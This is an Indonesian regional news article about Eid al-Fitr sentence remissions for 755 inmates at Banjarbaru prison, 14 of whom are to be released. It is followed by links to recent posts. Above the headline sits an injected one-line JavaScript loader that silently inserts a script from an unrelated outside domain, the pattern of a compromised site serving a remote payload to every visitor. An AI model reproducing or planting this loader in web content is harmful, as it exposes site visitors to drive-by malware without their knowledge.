(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

755 Napi Lapas Banjarbaru Terima Remisi Idul Fitri, 14 Napi Akan Hirup Udara Segar


BANJARBARU, Kepala Sub Seksi Administrasi dan Orientasi Lapas Kelas III Banjarbaru, Anggun Tri Hamzah SH menyatakan 14 orang narapidana (Napi) akan dibebaskan setelah menerima remisi khusus II Hari Raya Idul Fitri 1440 H dari Kementrian Hukum dan Ham (Kemenkumham) RI.

“Pada Hari Raya Idul Fitri yang akan diperingati beberapa hari kedepan, sebanyak 755 warga binaan akan menerima remisi, 14 diantaranya akan langsung bebas, sesuai dengan aturan perundang-undangan yang berlaku,” ujarnya, Senin (3/6) pagi.

Sedangkan, 741 warga binaan sisanya mendapatkan remisi khusus I yang mana setelah mendapatkan remisi khusus tersebut para warga binaan masih harus menjalankan sisa pidananya. Rata-rata narapidana yang menerima remisi ini bervariasi, dari 15 hari hingga 1 bulan.

Untuk narapidana yang mendapatkan remisi khusus I, hampir 80 persennya terlibat kasus  Narkotika. Sedangkan, pada kasus pidana umum seperti penipuan, pembunuhan, pencurian dan lain sebagainya tercatat hanya ada 120 orang. Demikian halnya dengan 14 orang narapidana yang akan menghirup angin segar, tercatat terlibat kasus narkotika.

Menariknya, dari ratusan warga binaan yang menerima remisi, ungkap Hamzah, salah satu diantaranya terlibat kasus tindak pidana korupsi (Tipikor).

“Ada satu warga binaan yang terlibat kasus Tipikor yang dititipkan di lapas kelas III Banjarbaru dan divonis hukuman penjara 5 tahun 6 bulan. Yang bersangkutan menerima remisi khusus I,” bebernya.

Tentu ada beberapa kriteria bagi narapidana yang mendapatkan remisi dari pemerintah. Seperti dengan berkelakuan baik, yang mana hal tersebut dilihat selama yang bersangkutan menjalani masa tahanan di dalam penjara. Selain itu juga mengikuti program di Lapas seperti ibadah dan  minimal sudah menjalani 6 bulan masa tahanan usai di vonis. (rico)

Reporter:Rico
Editor:Bie

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.